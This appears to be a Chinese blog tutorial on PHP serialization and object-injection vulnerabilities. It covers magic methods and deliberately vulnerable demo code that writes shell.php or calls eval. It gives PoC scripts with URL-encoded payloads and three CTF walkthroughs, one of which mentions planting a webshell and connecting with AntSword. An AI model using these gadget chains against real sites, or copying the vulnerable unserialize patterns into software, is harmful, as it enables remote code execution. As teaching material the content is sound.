序列化

百度百科上关于序列化的定义是,
将对象的状态信息转换为可以存储或传输的形式的过程。在序列化
期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对
象的状态,重新创建该对象。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安
全的进行通信。
PHP中的序列化与反序列化
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一
旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字
符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的
后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
PHP中的序列化与反序列化,基本都是围绕serialize()和unserialize()
两个函数展开的。在介绍这两个函数之前,我们来看一个简单的例子。
复习
class 类
obj 对象

对象(object)

对象就是具有一定功能和特征的事物.凡是能帮我们实现某种需求的事物的都是对象

a) 女朋友是对象.

b) 每一个学员都是讲师的教学对象.

类(class)

具有相同特征和功能的对象的抽象 就是类

很多个学生对象归纳为一个学生类.

很多个商品对象归纳为一个商品类.

对象和类之间的关系

对象参考类的结构,被创建出来.并且属性保存具体的数据.

它是具体的.

类是对所属对象的共有特性的描述, 可以说这是一个类型, 一个结构

它是抽象的

对象的抽象就是类

类的实体化(实例化)就是对象

对象和类的对比

马良            马良画的图       从画里走出来的事物工程设计师         设计图           由设计图造出来的事物程序员                 类                对象
// 定义一个学生类
class Student
{ // 成员属性(类中的变量) public $name; public $sex; public $age;// 成员方法(类中的函数) public function say(){ echo '我爱写作业!<br>'; }
}/*
a)成员属性i.必须要加修饰符来修饰   public ii.成员属性的初始值可有可无iii.成员属性初始值的注意事项  iv.成员属性可以使用常量进行赋初始值b)成员方法i.成员方法可以不加修饰符修饰   public ii.成员方法中 参数可有可无 代码体可有可无 方法的返回值也是可有可无的iii.在成员方法(函数) 没有使用return手动返回一个值的话  它的默认返回值就是null
*/
// 根据类的结构,创建对象(术语:实例化对象)
$stu1 = new Student;
/*1.new关键字不能省略  2.小括号可有可无3.对象的实例化 可以放在类声明之前   对象的实例化还可以放到类的内部
*/  // 对象的成员访问
// 成员属性赋值
$stu1 -> name = 'kpkp';
$stu1 -> sex = '男';
$stu1 -> age = 18; echo $stu1 -> name,'<br>';
$stu1 -> say();/*
注意:1.如果属性名是固定的话  前面不能加$2.成员访问符的两侧可以有空白, 成员访问符的中间不能有空白3.成员属性和成员方法的位置不是绝对固定的 一般来说都是将成员属性放置在上面,成员方法放置在下面.4.在类中不能出现除了成员属性和成员方法之外的代码
*/让对象表达自己($this)
phpclass Student
{ public $name; public function say() { echo '我叫'.$this->name; }
}$stu1 = new Student; $stu1 -> name = '王建双';
$stu1 -> say(); // 我叫王建双
/*1 $this代表当前这个对象,谁调用当前这个方法,那么$this就代表(等于)哪个对象2.$this只能在类的内部使用  并且只能放置在成员方法中3.$this不仅能访问成员属性 还能在成员方法中调用成员方法

json 格式化字符串

*简单的例子
我们可以用json格式数据的编码与解码,来理解序列化与反序列化的过程。虽然json
数据与反序列化漏洞没有什么关系,但是这个例子会帮助我们理解。
测试代码如下


echo 不能输出数值
json 格式编码 就可以echo 输入了


我们定义一个数组,数组属于抽象的数据结构,
为了方便跨平台传输数据,可以将其进行json
编码。json格式的数据是以键值对的形式出现的。结果如下
*序列化Demo
序列化会将一个抽象的对象转换为字符串。
我们可以写一个Dm0来说明序列化的过程,首先创建一个类,代码如下

类名是Stu,该类中有四个变量(关于变量的性质,我们这里不讨论。接下来,我们可以将这个类实例化
,也就是创建一个对象,并给对象中变量赋值。代码如下

 <?php
class Student
{// 成员属性(类中的变量)public $name;public $sex;public $age;// 成员方法(类中的函数)public function say(){echo '我爱写作业!<br>';}
}
$a = new Student();
echo serialize($a);

了解反序列化,必先了解其魔法函数

  1. __sleep() //在对象被序列化之前运行
  2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
  3. __construct() //当对象被创建时,会触发进行初始化
  4. __destruct() //对象被销毁时触发
  5. __toString()://当一个对象被当作字符串使用时 触发
  6. __call() //在对象上下文中调用不可访问的方法时触发
  7. __callStatic() //在静态上下文中调用不可访问的方法时触发
  8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
  9. __set() //用于将数据写入不可访问的属性
  10. __isset() //在不可访问的属性上调用isset()或empty()触发
  11. __unset() //在不可访问的属性上使用unset()时触发
  12. __toString() //把类当作字符串使用时触发
  13. __invoke() //当脚本尝试将对象调用为函数时触发

强调一下

构造函数 __construct
析构函数 __destruct
__call 调用类中不存在或者无法调用的非静态方法
__callStatic 调用类中不存在或者无法调用的静态方法
__invoke 将类所衍生的对象当作是函数进行调用
__get 当访问对象中一个不存在或者无法访问的属性时
__set 当设置对象中一个不存在或者无法设置的属性时
__wakeup 当使用Unserialize等反序列化函数生成对象时
__sleep 当使用serialize等序列化函数将对象转为字符串时 返回一个数组 该数组中绝对对那些程序属性进行序列化
__toString 当将类所衍生的对象当作字符串处理时

然后了解其属性

序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名

php反序列化漏洞,又叫php对象注入漏洞。

序列化与反序列化
php中有两个函数serialize() 和unserialize()。

serialize()
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下;

<?php
class chybeta{var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
这边我们创建了一个新的对象,并且将其序列化后的结果打印出来:O:7:"chybeta":1:{s:4:"test";s:3:"123";}

这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:“test”;s:3:“123”;}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。

unserialize()
与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

<?php
class chybeta{var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';   print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_ser);
?>

这里提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数

利用构造函数等

php中有一类特殊的方法叫“Magic function”,魔术方法 这里我们着重关注一下几个:

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。

测试如下:

<?php
class chybeta{var $test = '123';function __wakeup(){echo "__wakeup";echo "</br>";}function __construct(){echo "__construct";echo "</br>";}function __destruct(){echo "__destruct";echo "</br>";}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>

利用场景 __wakeup() 或__destruct()

由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:

<?php
class chybeta{var $test = '123';function __wakeup(){$fp = fopen("shell.php","w") ;fwrite($fp,$this->test);fclose($fp);}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我写个poc:

<?phpclass chybeta{var $test = "<?php phpinfo(); ?>";function __wakeup(){$fp = fopen("shell.php","w") ;fwrite($fp,$this->test);fclose($fp);}
}$class4 = new chybeta();$class4_ser = urlencode(serialize($class4)); print_r($class4_ser);
?>

由此得到序列化结果

O%3A7%3A%22chybeta%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D



连接蚁剑

其他Magic function 魔术方法的利用
但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的__construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

<?php
class ph0en1x{function __construct($test){$fp = fopen("shell.php","w") ;fwrite($fp,$test);fclose($fp);}
}
class chybeta{var $test = '123';function __wakeup(){$obj = new ph0en1x($this->test);}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的__construct()方法,从而把<?php phpinfo() ?>写入到 shell.php中。

<?phpclass chybeta{var $test = "<?php phpinfo();?>";function __wakeup(){$obj = new ph0en1x($this->test);}
}$class4 = new chybeta();$class4_ser = urlencode(serialize($class4));print_r($class4_ser);
?>

利用普通成员方法

前面谈到的利用都是基于“自动调用”的魔术方法 magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

<?php
class chybeta {var $test;function __construct() {$this->test = new ph0en1x();}function __destruct() {$this->test->action();}
}
class ph0en1x {function action() {echo "ph0en1x";}
}
class ph0en2x {var $test2;function action() {eval($this->test2);}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

构造poc

<?phpclass chybeta {var $test;function __construct() {$this->test = new ph0en2x();}function __destruct() {$this->test->action();}
}class ph0en2x {var $test2 = 'phpinfo();';function action() {eval($this->test2);}
}$a = new chybeta();echo urlencode(serialize($a));

O%3A7%3A%22chybeta%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A7%3A%22ph0en2x%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

得到:
传给index.php的test参数,利用成功:

反序列化要多做练习
先显更新到这

ctf 反序列化 例题一

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){return $this->isVip;
}
public function login($u,$p){return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){if($this->isVip){global $flag;
echo "your flag is ".$flag;
}else{echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();
}
}else{echo "no vip,no flag";
}
}

通读代码
KaTeX parse error: Expected 'EOF', got '&' at position 9: username&̲&password存在进入反序列化$_COOKIE[‘user’]

(cookie为可控字段)

随后便调用了login方法

public function login($u,$p){return $this->username===$u&&$this->password===$p;

只有类中username和username和username和password等于我们传入的值 ,即可返回true

进入第二个if 调用了checkVip方法

public function checkVip(){return $this->isVip;
}

这里定义类中isVip属性为true即可

便调用了其vipOneKeyGetFlag方法 echo除了flag

思路来了,构造payload

<?
class ctfShowUser{public $isVip=true;
public $username='a';
public $password='a';
}
$o=new ctfShowUser();
echo serialize($o);
?>

?username=a&passowrd=a
cookie便传值我们构造出的payload
poc

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22trye%22%3Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3B%7D


例题二

<?php
class A{protected $test;function __construct() {$this->test = new normal();}function __destruct() {$this->test->action();}
}class B {function action() {echo "hello";}
}class C {private $data;function action() {eval($this->data);}
}
unserialize($_GET['d']);
?>

请使用反序列化写入一句话,然后用蚁剑进行连接,并在蚁剑中执行whoami操作.
阅读代码
发现在A类中存在一个__destruct魔术方法:
this−>test−>action();又因为this->test->action(); 又因为this−>test−>action();又因为this->test是一个成员属性 可以通过反序列化控制
寻找一个类 拥有action方法
发现此时C类中存在一个action方法:
eval(this−>data);又因为this->data); 又因为this−>data);又因为this->data是一个成员属性 通过反序列化控制

构造 poc

<?phpclass A{protected $test;function __construct() {$this->test = new C();}function __destruct() {$this->test->action();}
}class C {private $data = "phpinfo();";function action() {eval($this->data);}
}$a =new A();echo urlencode(serialize($a));


第题三

<?phpclass ctfShowUser{private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){$this->class=new info();
}
public function login($u,$p){return $this->username===$u&&$this->password===$p;
}
public function __destruct(){$this->class->getInfo();
}
}
class info{private $user='xxxxxx';
public function getInfo(){return $this->user;
}
}
class backDoor{private $code;
public function getInfo(){eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

username和username和username和password存在进入反序列化

backDoor类里边有eval危险函数,我们要将其利用

看到__destruct函数,当类反序列化结束销毁时会将其调用

public function __destruct(){$this->class->getInfo();
}

看到里边正好有getInfo()函数

我们只需要将$this->class=new backDoor()就可以调用backDoor类中的getInfo()函数 进行eval利用

故构造payload

<?phpclass ctfShowUser{private $username='a';private $password='a';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{private $code='phpinfo();';public function getInfo(){eval($this->code);}
}$a =new ctfShowUser();
echo urlencode(serialize($a));

参考https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
和https://www.freebuf.com/articles/web/284349.html

第二十二天php反序列化问题相关推荐

  1. Python第二十二天 stat模块 os.chmod方法 os.stat方法 pwd grp模块

    Python第二十二天   stat模块  os.chmod方法  os.stat方法  pwd  grp模块 stat模块描述了os.stat(filename)返回的文件属性列表中各值的意义,根据 ...

  2. 华为实习日记——第二十二天

    昨天夜里下了雨,今早上出门清清凉凉的,很舒服的温度. 8:50到工位,处理了一下邮件,然后复习计算机图形学. 9:40晨会,这周我们的小组的任务是做当前版本的支撑工作,下周会有930版本的迭代开发,那 ...

  3. 靶场练习第二十二天~vulnhub靶场之Momentum-2

    一.准备工作 靶机下载地址:Momentum: 2 ~ VulnHub 1.查看kali的ip 使用命令ifconfig 2.使用nmap命令 nmap 192.168.101.0/24 查看开放的端 ...

  4. 武汉坚守第二十二天——谣言与辟谣与慌乱

    其实每一个愿意写一些东西的人早年都喜欢看各种各样的书,也大都会有愤青的经历,在我身上曾经我关系最好的堂妹一直记得我曾经比较仇恨日本,而这个心理现象在大约10年前消失了,源于我对日本更多的了解. 1.日 ...

  5. python中ndarray对象_学习python的第二十二天(numpy模块(对矩阵的处理,ndarray对象)

    6.12自我总结 一.numpy模块 import numpy as np约定俗称要把他变成np 1.模块官方文档地址 2.创建矩阵 1.np.array import numpy as np #创建 ...

  6. 自学Python第二十二天- Django框架(一)创建项目、APP、快速上手、请求和响应流程、模板、数据库操作

    Django 框架是一个基于 python 的重量级的 web 开发框架,现今很多大公司大项目都是使用 Django 框架.采用了 MVC(model view controller) 的框架模式,p ...

  7. python 优先级继承_孤荷凌寒自学python第二十二天python类的继承

    (完整学习过程屏幕记录视频地址在文末,手写笔记在文末) python中定义的类可以继承自其它类,所谓继承的概念,我的理解 是,就是一个类B继承自类A,意味着类B的内部代码块中就算不写任何代码,类B仍然 ...

  8. 第二十二天:SkinMarks: Enabling Interactions on Body Landmarks Using Conformal Skin Electronics

    由于潜在的骨骼结构和皮肤纹理.弹性和颜色的变化,身体提供了许多可识别的标志.这些身体标志物的视觉和空间线索可以帮助定位在身体上的界面,指导在身体上的输入,并允许轻松地回忆映射.我们的主要贡献是皮肤标记 ...

  9. 自学Python第二十二天- Django框架(三) AJAX、文件上传、POST 请求类型之间的转换、多APP开发、iframe、验证码、分页器、类视图、中间件、信号、日志、缓存、celery异步

    Django官方文档 django 使用 AJAX django 项目中也可以使用 ajax 技术 前端 前端和其他 web 框架一样,需要注意的是,django 接收 POST 请求时,需要 csr ...

最新文章

  1. 3DSlicer5:开发者必晓ABC
  2. 详解各种锁:CAS、共享锁、排它锁、互斥锁、悲观锁、乐观锁、行级锁、表级锁、页级锁、死锁、JAVA对CAS的支持、ABA问题、AQS原理
  3. [译]GC专家系列3-GC调优
  4. JavaScript- 正则表达式匹配汉字
  5. “约见”面试官系列之常见面试题第三十一篇之vue-router得守卫(建议收藏)
  6. 国防科大JAVA工程师笔试题_国防科大人工智能考博题答案
  7. T-Sql备份还原数据库
  8. (大数据工程师学习路径)第五步 MySQL参考手册中文版----MySQL视图
  9. (18)System Verilog运算精度补齐示例
  10. python中scale的用法_Tkinter Scale滑块组件的用法
  11. 说一下php的自动加载,php的_autoload函数实现自动加载类的使用
  12. 数据可视化系统在哪些行业中应用
  13. jflash合并bin文件及hex文件
  14. 年薪16薪,工作福利靠砸钱 ?在京东做测试员原来这么爽
  15. java.library.path和LD_LIBRARY_PATH的介绍与区别
  16. 牙菌斑、牙垢、牙结石、龋齿需要怎么来清洁
  17. 从懵逼到再入门——JavaEE完整体系架构
  18. Docker+Ovs构建SDN网络
  19. 使用百度云同步盘和Git Extensions进行代码托管
  20. Github上的扫描器,方便查看使用

热门文章

  1. 单片机按键检测程序c语言,单片机检测按键短击,连击c程序
  2. matlab中线性变压器,变压器外特性曲线仿真matlab源程序
  3. 写给自己的明天:伤感日志
  4. java4中阶乘函数_Java工具集-数学(阶乘函数)
  5. 数码相机CCD传感器和CMOS传感器有什么不一样?
  6. 事实还是虚构?关于软件编程的 8 个神话
  7. 中台的理解分析与建设
  8. JAVA毕业设计高校微后勤服务平台计算机源码+lw文档+系统+调试部署+数据库
  9. 大轴纸怎么上机器人_纸巾机器人到底怎么操作,如何领取
  10. 有一个学计算机男友是什么体验,有一个程序员男朋友是怎样的体验?